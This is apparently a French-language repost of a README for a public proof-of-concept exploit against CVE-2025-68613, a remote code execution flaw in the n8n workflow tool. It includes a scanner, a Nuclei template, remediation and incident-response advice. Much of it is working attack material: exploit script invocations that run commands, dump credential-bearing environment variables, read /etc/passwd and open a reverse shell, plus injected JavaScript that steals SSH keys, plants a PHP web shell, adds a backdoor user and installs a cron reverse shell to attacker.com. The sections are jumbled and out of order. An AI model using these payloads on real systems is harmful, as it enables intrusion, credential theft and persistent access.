CVE-2025-68613-POC — PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation. | Kitploit

**Sortie**:
- Code de sortie 0: Non vulnérable
- Code de sortie 1: Version indéterminée (peut être corrigée ou masquée)
- Code de sortie 2: Version vulnérable détectée

### 2. Modèle Nuclei: `CVE-2025-68613.yaml`
**Objectif**: Détection automatisée de vulnérabilités et test de base de l'évaluation d'expressions

**Fonctionnalités**:
- Nécessite un jeton d'authentification valide
- Teste la capacité d'injection d'expressions
- Tente de lire le contexte global de Node.js (process.platform)
- Crée des workflows de test pour valider le vecteur RCE
- Classification de gravité critique CVSS 10.0

**Utilisation**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

**Exemples d'utilisation**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

#### Étape 2 : Injection d'expression
Un attaquant crée une expression malveillante qui échappe à la sandbox prévue :```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}

---

## Versions concernées

### Plage vulnérable

Toutes les versions de n8n à partir de la **0.211.0** jusqu'aux versions suivantes sont vulnérables :
- `0.211.0` → `1.120.3`
- `1.121.0`

### Versions corrigées

La vulnérabilité a été corrigée dans :
- ✅ `1.120.4` et versions ultérieures de la branche 1.120.x
- ✅ `1.121.1` et versions ultérieures de la branche 1.121.x
- ✅ `1.122.0` et toutes les versions plus récentes

### Comment vérifier votre version```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"

# Or check the admin panel
# Go to Settings → About → Version

#### 2. Lire des fichiers depuis le serveur```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files

${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys

#### 4. Écrire des fichiers malveillants```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence

${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access

#### 6. Établir la persistance```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account

**Exemples de sortie**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

**Comment ça fonctionne** :
1. Envoie des requêtes HTTP vers les chemins n8n courants
2. Extrait les métadonnées de version depuis le HTML/les en-têtes
3. Décode la configuration encodée en base64 si présente
4. Compare la version aux plages vulnérables
5. Signale si l'instance est vulnérable

### Méthode 3 : Capture manuelle de bannière```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"

# Check headers
curl -I http://target:5678/ | grep -i "n8n"

# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz

### Indicateurs d'exploitation (IOC)

**Signes dans les journaux**:
- Évaluations d'expressions inhabituelles dans les journaux de workflow
- Erreurs d'expression contenant des commandes système
- Accès à des fichiers sensibles (par exemple, références à /etc/passwd)
- Lancement inattendu de processus à partir du processus n8n

**Signes système**:
- Création de nouveaux comptes utilisateur sur le serveur
- Clés SSH inattendues dans authorized_keys
- Nouvelles tâches cron ou tâches planifiées
- Modifications de fichiers système
- Connexions reverse shell depuis le serveur n8n

---

## Remédiation et atténuation

### SOLUTION PRINCIPALE: Mise à niveau immédiate

**Il s'agit de la seule correction complète de la vulnérabilité.**

#### Étape 1: Sauvegardez vos données```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/

# Backup workflows
n8n export --backup-dir ./backup/

#### Étape 3 : Vérifier la mise à jour```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version

# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"

#### 2. Surveiller les modifications de workflow```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly

#### 4. Exécuter n8n avec des privilèges minimaux```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user

# Run n8n as this user
sudo -u n8n-user n8n

# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest

#### 6. Conteneurisation & Isolation```bash
# Run n8n in a restricted Docker container
docker run -d \
  --security-opt=no-new-privileges:true \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --tmpfs /tmp \
  -p 5678:5678 \
  n8nio/n8n:current-version

---

## Matrice d'évaluation des risques

| Scénario | Niveau de risque | Probabilité | Impact | Priorité |
|----------|-----------|-----------|--------|----------|
| n8n non corrigé, exposé à Internet | CRITIQUE | ÉLEVÉE | Compromission totale | 🔴 URGENT |
| n8n non corrigé, interne uniquement | ÉLEVÉ | MOYENNE | Risque de menace interne | 🟠 ÉLEVÉ |
| n8n corrigé | FAIBLE | FAIBLE | N/A | ✅ Résolu |
| Non corrigé + restrictions de permissions | MOYEN | MOYENNE | Limité aux utilisateurs de confiance | 🟡 MOYEN |

---

## Récupération étape par étape en cas de compromission

### Actions immédiates (première heure)
1. **Isoler le système** : déconnecter du réseau
2. **Arrêter le service** : `sudo systemctl stop n8n`
3. **Conserver les journaux** : sauvegarder tous les journaux avant tout effacement
4. **Alerter l'équipe** : informer l'équipe de sécurité et la direction
5. **Évaluer la portée** : déterminer à quelles données n8n a accédé

### Investigation (premier jour)
1. **Examiner les journaux d'audit** : rechercher des activités suspectes
2. **Analyser le trafic réseau** : rechercher une exfiltration de données
3. **Vérifier les modifications de fichiers** : détecter les portes dérobées installées
4. **Examiner les comptes utilisateurs** : rechercher des comptes nouveaux ou modifiés
5. **Audit des identifiants** : réinitialiser toutes les clés API et tous les mots de passe utilisés par n8n

### Remédiation (jours 2 à 7)
1. **Reconstruction complète du système** : ne pas simplement mettre à jour, reconstruire à partir d'une image propre
2. **Rotation des identifiants** : réinitialiser tous les mots de passe, clés API, jetons
3. **Tout corriger** : mettre à jour tous les systèmes connectés
4. **Restaurer à partir d'une sauvegarde** : utiliser des sauvegardes propres antérieures à la compromission
5. **Audit de sécurité** : mener une évaluation complète de la sécurité

### Post-incident (semaine 2 et au-delà)
1. **Mettre en place une surveillance** : configurer une journalisation et des alertes continues
2. **Modifier les procédures** : mettre à jour les procédures de réponse aux incidents
3. **Formation des utilisateurs** : sensibiliser les équipes aux bonnes pratiques de sécurité
4. **Analyse des vulnérabilités** : analyses régulières pour détecter des problèmes similaires
5. **Examen de conformité** : s'assurer que toutes les réglementations sont respectées (RGPD, HIPAA, etc.)

---

## Prévention à l'avenir

### Bonnes pratiques de sécurité pour n8n

1. **Maintenir n8n à jour**
   - Activer les mises à jour automatiques si disponibles
   - S'abonner aux avis de sécurité n8n
   - Tester les correctifs en préproduction avant la production

2. **Contrôle d'accès**
   - Appliquer le principe du moindre privilège
   - Exiger des mots de passe forts et la 2FA
   - Mettre en place le SSO pour les déploiements en entreprise
   - Examens et audits réguliers des accès

3. **Gestion des workflows**
   - Examiner tous les workflows pour détecter une logique suspecte
   - Mettre en place un processus de revue de code pour les workflows
   - Utiliser des conventions de nommage pour identifier les workflows critiques
   - Sauvegarder régulièrement les workflows

4. **Gestion des identifiants**
   - Ne jamais stocker d'identifiants dans les workflows
   - Utiliser des variables d'environnement pour les données sensibles
   - Renouveler régulièrement les identifiants
   - Auditer l'accès aux identifiants

5. **Surveillance et journalisation**
   - Activer une journalisation d'audit complète
   - Surveiller les activités inhabituelles
   - Configurer des alertes pour les opérations suspectes
   - Examen et analyse réguliers des journaux

6. **Sécurité réseau**
   - Exécuter n8n dans des segments réseau isolés
   - Restreindre l'accès réseau aux seuls services requis
   - Utiliser un VPN/pare-feu pour l'accès à distance
   - Surveiller le trafic réseau pour détecter les anomalies

7. **Réponse aux incidents**
   - Créer un plan de réponse aux incidents
   - Définir les procédures d'escalade
   - Mener des exercices de sécurité réguliers
   - Maintenir des listes de contacts à jour

---

## Dépannage

### Problème : "Exit code 1: Authentication or exploitation failed"

**Causes courantes** :
1. **Identifiants incorrects** (le plus courant)
   - Solution : vérifier d'abord que les identifiants fonctionnent pour la connexion à l'interface web
   - Essayer : `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **L'utilisateur n'a pas les permissions de création de workflows**
   - Solution : utiliser un compte admin ou un compte utilisateur disposant des droits de création de workflows
   - Vérifier : panneau d'administration → Utilisateurs et permissions

3. **La version est corrigée** (version > 1.121.0)
   - Solution : utiliser le scanner pour vérifier la version d'abord : `python3 cve-2025-68613-scanner.py -u http://target:5678`
   - Attendu : le scanner doit indiquer "Vulnerable" (code de sortie 2)

4. **La structure de l'API a changé** (les versions plus anciennes/plus récentes peuvent différer)
   - Solution : consulter l'avis NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-68613
   - Le plus probable si vous testez des versions en dehors de la plage documentée

5. **Blocage réseau/pare-feu**
   - Solution : vérifier la connectivité : `curl http://target:5678/`
   - Vérifier : règles du pare-feu, paramètres de proxy, certificats SSL

### Problème : le scanner signale des faux positifs (détection d'une version incorrecte)

**Corrigé dans v1.02** : le scanner utilise désormais la configuration Sentry décodée en base64 à partir des balises meta au lieu d'une simple regex. Cela élimine les faux positifs où la version de Node.js était détectée comme la version de n8n.

**Ce qui a changé** :
- Source principale : extraire et décoder `<meta name="n8n:config:sentry" content="[BASE64]">`
- Solution de secours : la regex n'est utilisée que si la configuration Sentry est indisponible
- Résultat : détection précise de la version sans faux positifs

**Pour utiliser le scanner v1.02** :```bash
# Update to v1.02
git pull origin main

# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678

Populaires

CVE-2025-68613-POC

🚨 CVE-2025-68613 : Vulnérabilité critique d'exécution de code à distance (RCE) dans n8n

Table des matières

Vue d'ensemble

En bref

Qu'est-ce que n8n ?

Pourquoi n8n est une infrastructure critique

Outils de ce dépôt

1. Scanner : cve-2025-68613-scanner.py

3. Exploit complet : exploit_cve-2025-68613.py

Notions de base sur la vulnérabilité

Quel est le problème ?

Le problème fondamental

Pourquoi c'est si dangereux

Détails techniques

Comment fonctionne la vulnérabilité

Étape 1 : Évaluation des expressions du workflow

Étape 3 : Exécution du code

La cause racine

Chemin d'exécution du code```

Versions testées et compatibilité

Vérifié fonctionnel

Problèmes connus

Non testé

Déclaration de prise en charge des versions

Mécanique d'exploitation

Que peut faire un attaquant ?

1. Exécuter des commandes système arbitraires```javascript

3. Lire les variables d'environnement```javascript

5. Accéder aux services connectés```javascript

Exemple de scénario d'attaque

Impact concret

Impact sur la confidentialité (ÉLEVÉ)

Impact sur l'intégrité (ÉLEVÉ)

Impact sur la disponibilité (ÉLEVÉ)

Exemples d'impact sur l'entreprise

Méthodes de détection

Méthode 1 : scanner de détection de version

Méthode 2 : Utilisation du modèle Nuclei

Single target

Multiple targets from file

Méthode 4: Reconnaissance réseau```bash

Find n8n instances using Shodan

Use favicon hash detection

Étape 2 : Mettre à jour n8n

Pull the latest patched version

Stop current instance

Start with new version

Debian/Ubuntu

Or manual download

ATTÉNUATION TEMPORAIRE : pendant la mise à niveau

1. Restreindre les permissions des workflows```

3. Isolation du réseau```bash

Restrict n8n network access

Or using iptables

5. Activer l'authentification forte```

7. Audit régulier```bash

Monitor for suspicious activities

Check for new files in n8n directories

Monitor process activity

Check for unauthorized SSH keys

Review system logs

Problème: L'exécution REST renvoie une erreur 500

Ressources et références

Sources officielles

Informations CVE

Ressources de sécurité

Résumé

Version du document

Avertissement

1. Scanner : `cve-2025-68613-scanner.py`

3. Exploit complet : `exploit_cve-2025-68613.py`